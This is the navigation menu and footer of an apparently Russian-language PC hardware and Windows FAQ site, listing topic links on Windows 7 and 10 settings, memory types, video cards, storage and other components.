    Windows 10 | Registry Windows 10 | Windows7: Общие настройки | Windows7: Реестр | Windows7: Реестр faq | Windows7: Настроки сети | Windows7: Безопасность | Windows7: Брандмауэр | Windows7: Режим совместимости | Windows7: Пароль администратора |  |  |  |  | Память | SDRAM | DDR2 | DDR3 | Quad Band Memory (QBM) | SRAM | FeRAM | Словарь терминов | Video | nVIDIA faq | ATI faq  | Интегрированное видео faq | TV tuners faq | Терминология | Форматы графических файлов | Работа с цифровым видео(faq) | Кодеки faq | DVD faq | DigitalVideo faq | Video faq (Архив) | CPU | HDD & Flash faq | Как уберечь винчестер | HDD faq | Cable faq | SCSI адаптеры & faq | SSD | Mainboard faq | Printer & Scaner | Благотворительность

    На главную | Cookie policy | Sitemap

     ©  2004